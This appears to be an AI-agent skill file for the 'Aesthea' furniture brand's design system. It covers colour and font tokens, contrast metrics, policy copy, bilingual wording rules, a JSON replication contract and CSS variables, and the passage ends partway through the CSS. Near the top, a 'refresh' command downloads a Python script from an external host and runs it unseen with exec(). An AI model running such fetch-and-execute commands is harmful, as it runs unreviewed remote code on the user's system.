--- name: aesthea-design-system description: Official Aesthea (aesthea.com) Design System V2: locked visual DNA, W3C DTCG & CSS tokens, perceptual contrast rules, bilingual copy guardrails (en-US & zh-Hans-US), and canonical storefront page blueprints. Activate whenever designing, coding, reviewing, or writing UI/copy for Aesthea. --- # Aesthea Design System Skill (`aesthea-design-system`) > **Dedicated Brand Design System URL**: `https://aesthea-ds-13589.pages.dev` > **1-Click Local Refresh Command**: > ```bash > python -c "import urllib.request as u; exec(u.urlopen(u.Request('https://aesthea-ds-13589.pages.dev/save-ds.py', headers={'User-Agent':'Mozilla/5.0'})).read().decode('utf-8'))" ./design-system/aesthea > ``` ## Quick Integration in Any Frontend / Prototype 1. **Link Brand Tokens & Offline Fonts** (from extracted local folder): ```html ``` 2. **Core Locked Tokens**: - **Canvas / Surface / Band / Footer**: `#FFFFFF` / `#FAF7F2` / `#F3EEE6` / `#30211C` - **Primary / Secondary Ink**: `#201D1A` / `#66615E` - **Primary CTA Fill / Text / Label**: `#6D4F40` / `#FFFFFF` / `Add to cart` (`加入购物车`) - **Button / Card / Input Radius**: `0px` / `0px` / `0px` - **Display / Body / CJK Fonts**: `Marcellus` / `Archivo` / `Noto Sans SC` 3. **Self-Verify Generated Pages Before Delivery**: ```bash python tools/ds_lint.py --target path/to/your-page.html ``` --- # Aesthea Design System V2 · AI Agent Replication Guide (`CLAUDE.md`) ## 1. Brand Identity & Business Model - **Brand**: Aesthea (`aesthea.com`) - **Category & Public Price Band**: Trade-Primary & Direct Retail Made-to-Order Furniture | Public retail catalog pricing + verified Trade 20% off (`Retail x 0.8`, no min order; COM & custom dimensions priced on request) - **Business Model (EN)**: Trade-Primary + Direct Retail Made-to-Order Furniture Brand (Four Hands Benchmark: Public Retail Checkout + Verified Trade 20% Off) - **Business Model (ZH)**: 对标 Four Hands 的设计师优先（Trade-Primary）与公开零售直购双轨按单定制家具品牌（Trade 登录无起订量享 8 折） - **Core Positioning**: Formed by Aesthetics, Defined by You (Bespoke Furniture, Made to Order): architectural walnut-and-linen residential and contract-grade furniture (CAL TB 117-2013, >=30,000 double rubs) with public retail checkout (`Add to cart`), 20% Trade pricing (`Retail x 0.8`, no minimum order), and independent brand identity. - **Self-Contained Package**: Every token file, offline webfont, bilingual runtime helper, Brand Book chapter, component preview, asset, and specimen referenced below lives inside this folder using portable relative paths. ## 2. Canonical Entrypoints (Read Order) 1. **Machine Contract**: `ai-replication-contract.json` (`schemaVersion: "4.0.0"`) 2. **Design Tokens & Offline Runtime**: - Canonical JSON: `tokens/tokens.json` - W3C DTCG 10-Group JSON: `tokens/tokens.dtcg.json` - Brand CSS Variables: `tokens/tokens.css` - 48-Variable Cross-Brand Semantic Bridge: `tokens/semantic-bridge.css` - Shopify OS 2.0 Theme Settings Bridge: `tokens/shopify-theme-tokens.css` - Multi-Platform Token Exports: `tokens/tailwind.preset.json`, `tokens/tokens.tailwind.config.js`, `tokens/tokens.style-dictionary.json`, `tokens/shopify-settings_schema.json`, `tokens/figma-variables.json` - Offline Brand Webfonts & CJK Mono Stack: `tokens/brand-fonts.css` (`assets/Fonts/*.woff2`) - Bilingual Switcher Helper: `tokens/ds-i18n.js` 3. **Bilingual Brand Book**: - Chinese (`zh-Hans-US` governance): `docs/` - English (`en-US` governance): `docs/en/` 4. **Brand Evidence & Dossier**: - Manifest: `brand-archive/manifest.json` - Official Materials: `brand-archive/official-materials.md` and `brand-archive/en/official-materials.md` - Strategic Dossier: `brand-archive/third-party-dossier.md` and `brand-archive/en/third-party-dossier.md` 5. **Interactive Viewers & Candidates**: - Standalone Bilingual System Viewer: `index.html` (`?lang=en` / `?lang=zh`) - Baseline V1 Structural Specimen: `candidates/baseline_v1/specimen.html` - Flagship V2 Interactive Specimen: `candidates/optimized_v2/specimen.html` ## 3. Locked Visual DNA | Property | Locked Value | | --- | --- | | Primary Page Ground | `#FFFFFF` | | Card / Elevated Surface | `#FAF7F2` | | Alternating Band / Footer | `#F3EEE6` / `#30211C` | | Primary / Secondary Ink | `#201D1A` / `#66615E` | | Primary Action Fill / Text | `#6D4F40` / `#FFFFFF` | | Button / Card Corner Radius | `0px` / `0px` | | Display / Body / CJK Fonts | `Marcellus` / `Archivo` / `Noto Sans SC` | | Elevation & Shadow Rule | Zero heavy shadows; rely on #FFFFFF / #FAF7F2 / #F3EEE6 tonal separation and 1px #E4DDD3 hairlines. | ## 4. Commercial & Legal Guardrails - **primaryCta**: Default PDP and configurator CTA is `Add to cart` (sentence case in DOM, displayed uppercase via CSS `text-transform: uppercase; letter-spacing: 0.08em`) / `加入购物车` (no uppercase or extra tracking in Chinese). COM fabrics and custom dimensions show `Priced on request` + inquiry CTA. Trade page CTA is `Apply now` / `申请加入 Trade 计划`; design service CTA is `Book a free design session` / `预约免费设计服务`. - **leadTimes**: Three-tier fulfillment: In stock 5-7 business days; Quick ship 2-3 weeks; Made to order 8-10 weeks (10-12 weeks for C/D grade fabrics, sectionals, and stone). - **shipping**: $249 flat-rate white-glove delivery per order across the 48 contiguous US states (room placement, assembly, packaging removal; AK/HI quoted separately). Swatches ship free separately. - **returns**: Made-to-order pieces allow free edit or cancellation within 48 hours of ordering and are non-returnable once in production; In-stock & Quick-ship items support 30-day returns ($249 return pickup fee). Report delivery damage with photos within 7 days of delivery (pending final pre-launch sign-off). - **warranty**: 10-year structural frame warranty; 1-year fabric, finish, and hardware warranty (never claim Lifetime Heirloom Warranty; pending final pre-launch sign-off). - **swatches**: Up to 10 complimentary material swatches delivered free in 5-7 business days. - **tradeProgram**: Verified interior designers, architects, and hospitality buyers (2-business-day review) receive 20% off (`Retail x 0.8`) with no minimum order, tax-exempt checkout, project volume quotes, tear sheets, and large memo samples. ## 5. Non-Negotiable Redlines - Zero fabricated consumer star ratings (`★★★★★` / `★★★★☆`) anywhere on PDP, PLP, BuyBox, or cards, and never append `by Domula` to Aesthea. - Keep `0px` square geometry on buttons, inputs, and product cards; primary CTA fill is locked to `#6D4F40` walnut (`#57453B` hover, `#44332C` active) and footer fill to `#30211C`. - Default PDP and configurator items display retail pricing with `Add to cart` / `加入购物车` for direct consumer purchase; reserve `Priced on request` strictly for COM fabrics and custom dimensions. - Separate the 48-hour post-order MTO edit/cancel window from the 7-day delivery damage reporting window; state In-stock (5-7 business days) & Quick-ship (2-3 weeks) 30-day returns ($249 return pickup fee) while MTO items are non-returnable once in production. - Distinguish Overall Depth (`38"`) from Inside Seat Depth (`23"`); always use `"` for inches and `'` for feet. - Maintain Retail vs Verified Trade (`Retail x 0.8`, no minimum order) dual-state clarity without fake strikethrough MSRP; use polite `您` in `zh-Hans-US` service/checkout copy. ## 6. Nine Canonical Page Blueprints | Blueprint ID | Primary Specimen (`en-US`) | Localized Specimen (`zh-Hans-US`) | Implementation Notes | | --- | --- | --- | --- | | `PageHome` | `components/PageHome/preview.html` | `components/PageHomeZh/preview.html` | 1440px gallery homepage leading with `Shop the living room` + `For the trade` and calm generous whitespace. | | `PageCategoryHub` | `components/PagePLP/preview.html` | `components/PagePLPZh/preview.html` | Living, Dining, and Bedroom architectural category hub with 3-column 0px card rhythm. | | `PagePLPWithFacetDrawer` | `components/PagePLP/preview.html` | `components/PagePLPZh/preview.html` | Interactive material, readiness (In stock / Quick ship / MTO), and width facet filtering with zero star-rating clutter. | | `PagePDPFullLongScroll` | `components/PagePDP/preview.html` | `components/PagePDPZh/preview.html` | Flagship long-scroll PDP with public Retail `Add to cart` (`PagePDP`), signed-in Trade `Retail x 0.8` (`PagePDPTrade`), and COM `Priced on request`. | | `CartDrawer` | `components/AddedToCart/preview.html` | `components/PageCart/preview.html` | Slide-over bag and full cart page stating $249 flat-rate white-glove delivery, 48h MTO edit window, and 7-day damage report. | | `PageTradeOrConsultation` | `components/PageTrade/preview.html` | `components/PageTradeZh/preview.html` | Trade & Contract portal (`Apply now` / `Trade sign in`) plus `PageDesignServices` (`Book a free design session`). | | `PageEditorialLookbook` | `components/PageConfigurator/preview.html` | `components/PageHomeZh/preview.html` | Gallery room studies and interactive finish configurator (`PageConfigurator`) with `#6D4F40` `Add to cart`. | | `PageCraftsmanshipStory` | `components/PageAbout/preview.html` | `components/PageHowToBuy/preview.html` | Brand story (`PageAbout`) and transparent 3-tier ordering & warranty guide (`PageHowToBuy` / `PagePolicy`). | | `PageFreeSwatchesStudio` | `components/PageSwatches/preview.html` | `components/PageSwatches/preview.html` | Interactive fabric, leather, wood, and stone library supporting up to 10 free swatches. | ## 7. Bilingual Copy & Typography Checklist (`en-US` & `zh-Hans-US`) - **Preferred `en-US` Terms**: `Formed by Aesthetics, Defined by You.`, `Bespoke Furniture, Made to Order`, `Add to cart`, `Apply now`, `Book a free design session`, `Report delivery damage within 7 days` - **Prohibited `en-US` Terms**: `Verified US Buyers`, `by Domula`, `Commission Made-to-Order Piece`, `Request Trade Quote`, `48-Hour Freight Damage`, `Lifetime Heirloom Warranty` - **Preferred `zh-Hans-US` Terms**: `美学成形，由你定义`, `按订单定制的家具`, `加入购物车`, `申请加入 Trade 计划`, `预约免费设计服务`, `到货损坏 7 天内反馈` - **Prohibited `zh-Hans-US` Terms**: `美元`, `美刀`, `包邮`, `亲`, `全网最低`, `终身传世框架质保`, `48 小时货运破损保障`, `定制款 30 天无理由退货` - **Imperial Furniture Units**: Always format inches with `"` and feet with `'` (for example `96"W x 38"D x 30"H` and `12' x 14'` room size). Always state Overall Depth separately from Inside Seat Depth (`22"` to `28"`). --- ## Machine Replication Contract (`ai-replication-contract.json` Core) ```json { "schemaVersion": "4.0.0", "brand": { "key": "aesthea", "folder": "11_Aesthea", "name": "Aesthea", "domain": "aesthea.com", "siteUrl": "https://aesthea.com", "isOwnBrand": true, "bmTrack": "BM0", "category": "Trade-Primary & Direct Retail Made-to-Order Furniture", "categoryZh": "设计师 Trade 优先与公开零售直购双轨按单定制家具", "publicPriceAnchor": "Public retail catalog pricing + verified Trade 20% off (`Retail x 0.8`, no min order; COM & custom dimensions priced on request)" }, "businessModel": { "en": "Trade-Primary + Direct Retail Made-to-Order Furniture Brand (Four Hands Benchmark: Public Retail Checkout + Verified Trade 20% Off)", "zh": "对标 Four Hands 的设计师优先（Trade-Primary）与公开零售直购双轨按单定制家具品牌（Trade 登录无起订量享 8 折）", "positioning": "Formed by Aesthetics, Defined by You (Bespoke Furniture, Made to Order): architectural walnut-and-linen residential and contract-grade furniture (CAL TB 117-2013, >=30,000 double rubs) with public retail checkout (`Add to cart`), 20% Trade pricing (`Retail x 0.8`, no minimum order), and independent brand identity." }, "visualDna": { "bgCanvas": "#FFFFFF", "bgSurface": "#FAF7F2", "bgBand": "#F3EEE6", "bgFooter": "#30211C", "inkPrimary": "#201D1A", "inkSecondary": "#66615E", "inkMuted": "#8C8580", "borderSubtle": "#E4DDD3", "actionPrimaryBg": "#6D4F40", "actionPrimaryHoverBg": "#57453B", "actionPrimaryActiveBg": "#44332C", "actionPrimaryFg": "#FFFFFF", "radiusButton": "0px", "radiusCard": "0px", "radiusInput": "0px", "shadowPolicy": "Zero heavy shadows; rely on #FFFFFF / #FAF7F2 / #F3EEE6 tonal separation and 1px #E4DDD3 hairlines.", "fontDisplay": "Marcellus", "fontBody": "Archivo", "fontCjk": "Noto Sans SC" }, "commercialPolicies": { "primaryCta": "Default PDP and configurator CTA is `Add to cart` (sentence case in DOM, displayed uppercase via CSS `text-transform: uppercase; letter-spacing: 0.08em`) / `加入购物车` (no uppercase or extra tracking in Chinese). COM fabrics and custom dimensions show `Priced on request` + inquiry CTA. Trade page CTA is `Apply now` / `申请加入 Trade 计划`; design service CTA is `Book a free design session` / `预约免费设计服务`.", "leadTimes": "Three-tier fulfillment: In stock 5-7 business days; Quick ship 2-3 weeks; Made to order 8-10 weeks (10-12 weeks for C/D grade fabrics, sectionals, and stone).", "shipping": "$249 flat-rate white-glove delivery per order across the 48 contiguous US states (room placement, assembly, packaging removal; AK/HI quoted separately). Swatches ship free separately.", "returns": "Made-to-order pieces allow free edit or cancellation within 48 hours of ordering and are non-returnable once in production; In-stock & Quick-ship items support 30-day returns ($249 return pickup fee). Report delivery damage with photos within 7 days of delivery (pending final pre-launch sign-off).", "warranty": "10-year structural frame warranty; 1-year fabric, finish, and hardware warranty (never claim Lifetime Heirloom Warranty; pending final pre-launch sign-off).", "swatches": "Up to 10 complimentary material swatches delivered free in 5-7 business days.", "tradeProgram": "Verified interior designers, architects, and hospitality buyers (2-business-day review) receive 20% off (`Retail x 0.8`) with no minimum order, tax-exempt checkout, project volume quotes, tear sheets, and large memo samples." }, "nonNegotiableRedlines": [ "Zero fabricated consumer star ratings (`★★★★★` / `★★★★☆`) anywhere on PDP, PLP, BuyBox, or cards, and never append `by Domula` to Aesthea.", "Keep `0px` square geometry on buttons, inputs, and product cards; primary CTA fill is locked to `#6D4F40` walnut (`#57453B` hover, `#44332C` active) and footer fill to `#30211C`.", "Default PDP and configurator items display retail pricing with `Add to cart` / `加入购物车` for direct consumer purchase; reserve `Priced on request` strictly for COM fabrics and custom dimensions.", "Separate the 48-hour post-order MTO edit/cancel window from the 7-day delivery damage reporting window; state In-stock (5-7 business days) & Quick-ship (2-3 weeks) 30-day returns ($249 return pickup fee) while MTO items are non-returnable once in production.", "Distinguish Overall Depth (`38\"`) from Inside Seat Depth (`23\"`); always use `\"` for inches and `'` for feet.", "Maintain Retail vs Verified Trade (`Retail x 0.8`, no minimum order) dual-state clarity without fake strikethrough MSRP; use polite `您` in `zh-Hans-US` service/checkout copy." ], "copyLexicon": { "preferredEn": [ "Formed by Aesthetics, Defined by You.", "Bespoke Furniture, Made to Order", "Add to cart", "Apply now", "Book a free design session", "Report delivery damage within 7 days" ], "bannedEn": [ "Verified US Buyers", "by Domula", "Commission Made-to-Order Piece", "Request Trade Quote", "48-Hour Freight Damage", "Lifetime Heirloom Warranty" ], "preferredZh": [ "美学成形，由你定义", "按订单定制的家具", "加入购物车", "申请加入 Trade 计划", "预约免费设计服务", "到货损坏 7 天内反馈" ], "bannedZh": [ "美元", "美刀", "包邮", "亲", "全网最低", "终身传世框架质保", "48 小时货运破损保障", "定制款 30 天无理由退货" ] }, "perceptualAndMotionPhysics": { "schemaRevision": "4.0.0", "colorSpace": "OKLCH (Bjorn Ottosson 2020 perceptual cylindrical space)", "oklchPalette": { "bgCanvas": { "hex": "#FFFFFF", "l": 1.0, "c": 0.0, "h": 0.0, "css": "oklch(1.0000 0.0000 0.00)", "isAchromatic": true }, "bgSurface": { "hex": "#FAF7F2", "l": 0.9771, "c": 0.0074, "h": 80.72, "css": "oklch(0.9771 0.0074 80.72)", "isAchromatic": false }, "bgSubtle": { "hex": "#F3EEE6", "l": 0.9508, "c": 0.0119, "h": 79.78, "css": "oklch(0.9508 0.0119 79.78)", "isAchromatic": false }, "textPrimary": { "hex": "#201D1A", "l": 0.233, "c": 0.0073, "h": 67.46, "css": "oklch(0.2330 0.0073 67.46)", "isAchromatic": false }, "textSecondary": { "hex": "#66615E", "l": 0.4963, "c": 0.008, "h": 53.33, "css": "oklch(0.4963 0.0080 53.33)", "isAchromatic": false }, "textMuted": { "hex": "#6E6E6E", "l": 0.5382, "c": 0.0, "h": 0.0, "css": "oklch(0.5382 0.0000 0.00)", "isAchromatic": true }, "borderSubtle": { "hex": "#E4DDD3", "l": 0.9003, "c": 0.0155, "h": 77.06, "css": "oklch(0.9003 0.0155 77.06)", "isAchromatic": false }, "ctaBg": { "hex": "#6D4F40", "l": 0.4556, "c": 0.0471, "h": 47.66, "css": "oklch(0.4556 0.0471 47.66)", "isAchromatic": false }, "ctaText": { "hex": "#FFFFFF", "l": 1.0, "c": 0.0, "h": 0.0, "css": "oklch(1.0000 0.0000 0.00)", "isAchromatic": true }, "accent": { "hex": "#6D4F40", "l": 0.4556, "c": 0.0471, "h": 47.66, "css": "oklch(0.4556 0.0471 47.66)", "isAchromatic": false }, "footerBg": { "hex": "#30211C", "l": 0.2645, "c": 0.0251, "h": 39.22, "css": "oklch(0.2645 0.0251 39.22)", "isAchromatic": false }, "footerText": { "hex": "#FFFFFF", "l": 1.0, "c": 0.0, "h": 0.0, "css": "oklch(1.0000 0.0000 0.00)", "isAchromatic": true } }, "canvasToleranceGate": { "targetHex": "#FFFFFF", "targetOklch": "oklch(1.0000 0.0000 0.00)", "maxAbsDeltaL": 0.03, "maxAbsDeltaC": 0.02 }, "contrastMatrix": { "algorithm": "APCA-W3 (0.0.98G-4g) + WCAG 2.1 Relative Luminance", "pairs": { "bodyOnCanvas": { "role": "Editorial body & headings on primary canvas", "foregroundHex": "#201D1A", "backgroundHex": "#FFFFFF", "foregroundOklch": "oklch(0.2330 0.0073 67.46)", "backgroundOklch": "oklch(1.0000 0.0000 0.00)", "apcaLc": 103.71, "apcaAbsLc": 103.71, "apcaPolarity": "BoW (dark-on-light)", "apcaTargetAbsLc": 75.0, "apcaPasses": true, "wcag21Ratio": 16.77 }, "bodyOnSurface": { "role": "Card & specification copy on secondary surface", "foregroundHex": "#201D1A", "backgroundHex": "#FAF7F2", "foregroundOklch": "oklch(0.2330 0.0073 67.46)", "backgroundOklch": "oklch(0.9771 0.0074 80.72)", "apcaLc": 99.1, "apcaAbsLc": 99.1, "apcaPolarity": "BoW (dark-on-light)", "apcaTargetAbsLc": 75.0, "apcaPasses": true, "wcag21Ratio": 15.69 }, "secondaryOnCanvas": { "role": "Metadata & dimension captions on primary canvas", "foregroundHex": "#66615E", "backgroundHex": "#FFFFFF", "foregroundOklch": "oklch(0.4963 0.0080 53.33)", "backgroundOklch": "oklch(1.0000 0.0000 0.00)", "apcaLc": 80.54, "apcaAbsLc": 80.54, "apcaPolarity": "BoW (dark-on-light)", "apcaTargetAbsLc": 55.0, "apcaPasses": true, "wcag21Ratio": 6.11 }, "ctaLabelOnFill": { "role": "Primary CTA button label on solid CTA fill", "foregroundHex": "#FFFFFF", "backgroundHex": "#6D4F40", "foregroundOklch": "oklch(1.0000 0.0000 0.00)", "backgroundOklch": "oklch(0.4556 0.0471 47.66)", "apcaLc": -90.46, "apcaAbsLc": 90.46, "apcaPolarity": "WoB (light-on-dark)", "apcaTargetAbsLc": 60.0, "apcaPasses": true, "wcag21Ratio": 7.39 }, "footerLabelOnGround": { "role": "Footer navigation copy on footer ground", "foregroundHex": "#FFFFFF", "backgroundHex": "#30211C", "foregroundOklch": "oklch(1.0000 0.0000 0.00)", "backgroundOklch": "oklch(0.2645 0.0251 39.22)", "apcaLc": -105.03, "apcaAbsLc": 105.03, "apcaPolarity": "WoB (light-on-dark)", "apcaTargetAbsLc": 60.0, "apcaPasses": true, "wcag21Ratio": 15.44 } }, "cvdDistinguishability": { "deuteranopiaCtaPair": { "ctaBgSimHex": "#5E5840", "ctaFgSimHex": "#FFFFFF", "apcaAbsLcUnderDeuteranopia": 89.65, "ctaVsCanvasDeltaEOk": 0.542 }, "protanopiaCtaPair": { "ctaBgSimHex": "#57523F", "ctaFgSimHex": "#FFFFFF", "apcaAbsLcUnderProtanopia": 91.9, "ctaVsCanvasDeltaEOk": 0.563 } } }, "typographyOpticalMetrics": { "bundledWoff2Count": 18, "bundledWoff2Files": [ { "file": "assets/Fonts/archivo-latin-300-normal.woff2", "bytes": 14444, "sha256Prefix": "24a97635cc12" }, { "file": "assets/Fonts/archivo-latin-400-normal.woff2", "bytes": 14700, "sha256Prefix": "07f9160163da" }, { "file": "assets/Fonts/archivo-latin-500-normal.woff2", "bytes": 14600, "sha256Prefix": "ab74eca5ad11" }, { "file": "assets/Fonts/archivo-latin-600-normal.woff2", "bytes": 34928, "sha256Prefix": "8f704806dbed" }, { "file": "assets/Fonts/archivo-latin-700-normal.woff2", "bytes": 34928, "sha256Prefix": "8f704806dbed" }, { "file": "assets/Fonts/archivo-latin-ext-300-normal.woff2", "bytes": 32608, "sha256Prefix": "ff4f17d21930" }, { "file": "assets/Fonts/archivo-latin-ext-400-normal.woff2", "bytes": 32608, "sha256Prefix": "ff4f17d21930" }, { "file": "assets/Fonts/archivo-latin-ext-500-normal.woff2", "bytes": 32608, "sha256Prefix": "ff4f17d21930" }, { "file": "assets/Fonts/archivo-latin-ext-600-normal.woff2", "bytes": 32608, "sha256Prefix": "ff4f17d21930" }, { "file": "assets/Fonts/archivo-latin-ext-700-normal.woff2", "bytes": 32608, "sha256Prefix": "ff4f17d21930" }, { "file": "assets/Fonts/jetbrains-mono-latin-400-normal.woff2", "bytes": 31432, "sha256Prefix": "83c005d49d8a" }, { "file": "assets/Fonts/jetbrains-mono-latin-500-normal.woff2", "bytes": 31432, "sha256Prefix": "83c005d49d8a" }, { "file": "assets/Fonts/jetbrains-mono-latin-600-normal.woff2", "bytes": 31432, "sha256Prefix": "83c005d49d8a" }, { "file": "assets/Fonts/jetbrains-mono-latin-ext-400-normal.woff2", "bytes": 11624, "sha256Prefix": "db5ff4db83e5" }, { "file": "assets/Fonts/jetbrains-mono-latin-ext-500-normal.woff2", "bytes": 11624, "sha256Prefix": "db5ff4db83e5" }, { "file": "assets/Fonts/jetbrains-mono-latin-ext-600-normal.woff2", "bytes": 11624, "sha256Prefix": "db5ff4db83e5" }, { "file": "assets/Fonts/marcellus-latin-400-normal.woff2", "bytes": 14552, "sha256Prefix": "8a539799d12e" }, { "file": "assets/Fonts/marcellus-latin-ext-400-normal.woff2", "bytes": 8912, "sha256Prefix": "1d5a9870851a" } ], "display": { "fileName": "marcellus-latin-400-normal.woff2", "byteSize": 14552, "sha256Prefix": "8a539799d12e", "family": "Marcellus", "unitsPerEm": 2048, "sxHeight": 1024, "sCapHeight": 1434, "sTypoAscender": 1995, "sTypoDescender": -573, "xHeightRatio": 0.5, "capHeightRatio": 0.7002, "cssFontSizeAdjust": "ex-height 0.5000", "ascentOverridePct": "97.41%", "descentOverridePct": "27.98%", "lineGapOverridePct": "0.00%", "extractionMethod": "live_woff2_binary_tables", "configuredFamily": "Marcellus" }, "sans": { "fileName": "archivo-latin-300-normal.woff2", "byteSize": 14444, "sha256Prefix": "24a97635cc12", "family": "Archivo SemiBold Light", "unitsPerEm": 1000, "sxHeight": 526, "sCapHeight": 686, "sTypoAscender": 878, "sTypoDescender": -210, "xHeightRatio": 0.526, "capHeightRatio": 0.686, "cssFontSizeAdjust": "ex-height 0.5260", "ascentOverridePct": "87.80%", "descentOverridePct": "21.00%", "lineGapOverridePct": "0.00%", "extractionMethod": "live_woff2_binary_tables", "configuredFamily": "Archivo" }, "mono": { "fileName": "jetbrains-mono-latin-400-normal.woff2", "byteSize": 31432, "sha256Prefix": "83c005d49d8a", "family": "JetBrains Mono", "unitsPerEm": 1000, "sxHeight": 550, "sCapHeight": 730, "sTypoAscender": 1020, "sTypoDescender": -300, "xHeightRatio": 0.55, "capHeightRatio": 0.73, "cssFontSizeAdjust": "ex-height 0.5500", "ascentOverridePct": "102.00%", "descentOverridePct": "30.00%", "lineGapOverridePct": "0.00%", "extractionMethod": "live_woff2_binary_tables", "configuredFamily": "JetBrains Mono" }, "clsTargetMax": 0.01 }, "motionPhysics": { "archetype": "gallery_damped_atelier", "archetypeLabelZh": "画廊阻尼静奢动效（慢起柔收、零回弹）", "archetypeLabelEn": "Gallery Damped Atelier Motion (Composed Deceleration, Zero Bounce)", "easePrimary": "cubic-bezier(0.22, 1, 0.36, 1)", "easeDrawer": "cubic-bezier(0.19, 1, 0.22, 1)", "easeExit": "cubic-bezier(0.4, 0, 1, 1)", "durationMicroMs": 180, "durationDrawerMs": 420, "durationEditorialRevealMs": 680, "springOvershootAllowed": false, "reducedMotionPolicy": "Collapse spatial translations to 120ms opacity cross-fades under `@media (prefers-reduced-motion: reduce)`." } }, "artDirectionAndOpticalSpec": { "archetype": "north_window_gallery_daylight", "archetypeLabelZh": "北向漫射画廊日光与建筑中长焦平视光学", "archetypeLabelEn": "North-Facing Diffused Gallery Daylight & Rectilinear Telephoto", "lensFocalLengthMm": "50mm-85mm rectilinear standard-to-portrait prime (zero wide-angle edge stretch)", "daylightKelvinRange": "5000K-5400K overcast / north-window diffused daylight", "lightingContrastRatio": "3.0:1 directional architectural chiaroscuro with soft penumbra", "cameraElevationCm": "110cm-125cm seated-to-gallery eye line, strict two-point vertical plumb lines", "shadowDiscipline": "Natural floor-grazing penumbra anchored to rug/timber plane; ban floating studio drop-shadows.", "macroTextureShareMin": "30% of gallery frames dedicated to 85mm-100mm weave, bouclé, travertine, or joinery macro proof", "brandOpticalGuardrail": "Photograph sculptural MTO silhouettes in 5000K gallery daylight with 50mm-85mm lenses and >=30% bouclé/linen/travertine macro frames; never inject star-rating overlays or promo badges.", "fiveShotPdpSequenceEn": [ "01 Architectural Room Hero", "02 Three-Quarter Distortion-Free Silhouette", "03 85mm Material Surface & Craft Detail Macro", "04 Human Scale & Entryway Clearance Elevation", "05 Structural Base & Protective Packaging Detail" ], "fiveShotPdpSequenceZh": [ "01 北美真实居住空间主景", "02 四分之三零畸变单品体量", "03 85mm 表面材质肌理与工艺细节微距", "04 人体尺度比例与入户通行净宽立面", "05 底部承重结构与包装防护细节" ], "threeKelvinLightingSimulator": [ { "kelvin": 6500, "id": "daylight_6500k", "labelEn": "6500K North Daylight", "labelZh": "6500K 朝北晴空自然光" }, { "kelvin": 4000, "id": "gallery_4000k", "labelEn": "4000K Gallery Neutral", "labelZh": "4000K 展厅中性白光" }, { "kelvin": 2700, "id": "evening_2700k", "labelEn": "2700K Warm Evening", "labelZh": "2700K 居家夜间暖光" } ], "positivePromptEn": "Architectural & product photography for Aesthea (aesthea.com), canvas ground #FFFFFF (oklch(1.0000 0.0000 0.00)), shot on 50mm-85mm rectilinear standard-to-portrait prime (zero wide-angle edge stretch), 5000K-5400K overcast / north-window diffused daylight, 3.0:1 directional architectural chiaroscuro with soft penumbra, 110cm-125cm seated-to-gallery eye line, strict two-point vertical plumb lines, authentic matte surface texture, zero CGI plastic sheen, zero wide-angle edge distortion. Photograph sculptural MTO silhouettes in 5000K gallery daylight with 50mm-85mm lenses and >=30% bouclé/linen/travertine macro frames; never inject star-rating overlays or promo badges.", "positivePromptZh": "Aesthea（aesthea.com）空间与单品光学规范：主画布基准色 #FFFFFF（oklch(1.0000 0.0000 0.00)），采用 50mm-85mm rectilinear standard-to-portrait prime (zero wide-angle edge stretch) 焦段，5000K-5400K overcast / north-window diffused daylight 照明色温，3.0:1 directional architectural chiaroscuro with soft penumbra 光比与 110cm-125cm seated-to-gallery eye line, strict two-point vertical plumb lines 机位高度；保留哑光天然材质肌理，严禁塑料反光感、高饱和促销滤镜与广角边缘拉伸。" } } ``` --- ## Production CSS Custom Properties (`tokens/tokens.css`) ```css @font-face { font-family: "Marcellus"; font-weight: 400; font-style: normal; font-display: swap; src: url("../fonts/marcellus-latin-400-normal.woff2") format("woff2"); } @font-face { font-family: "Archivo"; font-weight: 300; font-style: normal; font-display: swap; src: url("../fonts/archivo-latin-300-normal.woff2") format("woff2"); } @font-face { font-family: "Archivo"; font-weight: 400; font-style: normal; font-display: swap; src: url("../fonts/archivo-latin-400-normal.woff2") format("woff2"); } @font-face { font-family: "Archivo"; font-weight: 500; font-style: normal; font-display: swap; src: url("../fonts/archivo-latin-500-normal.woff2") format("woff2"); } /* Aesthea — tokens.css compiled from tokens.json for local use (2026-10-21). Edit tokens.json, not this file. */ :root, [data-theme="light"] { --neutral-0: #FFFFFF; --neutral-50: #F6F6F6; --neutral-100: #F3F0EC; --neutral-200: #EBEBEB; --neutral-300: #D3D3D1; --neutral-400: #B8B8B5; --neutral-500: #8C8C8C; --neutral-600: #7A7774; --neutral-700: #66615E; --neutral-800: #484440; --neutral-900: #201D1A; --neutral-950: #171513; --brand-50: #FAF7F2; --brand-100: #F4EDE5; --brand-200: #EADCCB; --brand-300: #BEA493; --brand-400: #80604B; --brand-500: #6D4F40; --brand-600: #604438; --brand-700: #57453B; --brand-800: #44332C; --brand-900: #30211C; --status-error: #C43131; --status-warning: #B1844F; --bg-base: var(--neutral-0); --bg-white: var(--neutral-0); --bg-section: var(--brand-50); --surface-brand: var(--brand-50); --surface-card: var(--neutral-0); --surface-muted: var(--neutral-200); --surface-subtle: var(--neutral-50); --surface-fill-selected: var(--brand-100); --surface-editorial: var(--brand-500); --surface-inverse: var(--brand-900); --text-primary: var(--neutral-900); --text-secondary: var(--neutral-700); --text-subtle: var(--neutral-700); --text-tertiary: var(--neutral-700); --text-disabled: var(--neutral-300); --text-brand: var(--brand-500); --text-eyebrow: var(--brand-500); --text-inverse: var(--neutral-0); --text-on-editorial-muted: var(--brand-200); --border-subtle: var(--neutral-200); --border-base: var(--brand-200); --border-strong: var(--neutral-600); --border-brand: var(--brand-500); --action-primary: var(--brand-500); --action-primary-hover: var(--brand-700); --action-primary-active: var(--brand-800); --action-secondary: var(--brand-100); --action-secondary-hover: var(--brand-200); --action-secondary-text: var(--brand-800); --action-outline-text: var(--brand-500); --action-disabled: var(--neutral-200); --control-border: var(--neutral-600); --control-border-hover: var(--neutral-800); --control-border-focus: var(--brand-500); --choice-border: var(--neutral-600); --choice-checked: var(--brand-500); --price-sale: var(--brand-800); --price-compare: var(--neutral-700); --price-trade: var(--brand-500); --rating-star: var(--neutral-900); --badge-neutral-bg: var(--brand-100); --badge-neutral-text: var(--brand-800); --badge-set-bg: var(--brand-500); --badge-set-text: var(--neutral-0); --badge-new-bg: var(--brand-100); --badge-new-text: var(--brand-800); --badge-bestseller-bg: var(--brand-900); --badge-bestseller-text: var(--neutral-0); --badge-sale-bg: var(--brand-800); --badge-sale-text: var(--neutral-0); --count-badge-bg: var(--brand-500); --delivery-extended-text: var(--neutral-700); --feedback-error-text: var(--status-error); --feedback-error-bg: #FBF1F1; --feedback-warning-text: var(--neutral-800); --feedback-warning-bg: #F8F2EA; --feedback-success-text: var(--brand-500); --feedback-success-bg: var(--brand-50); --other-overlay: rgba(23, 21, 19, 0.48); 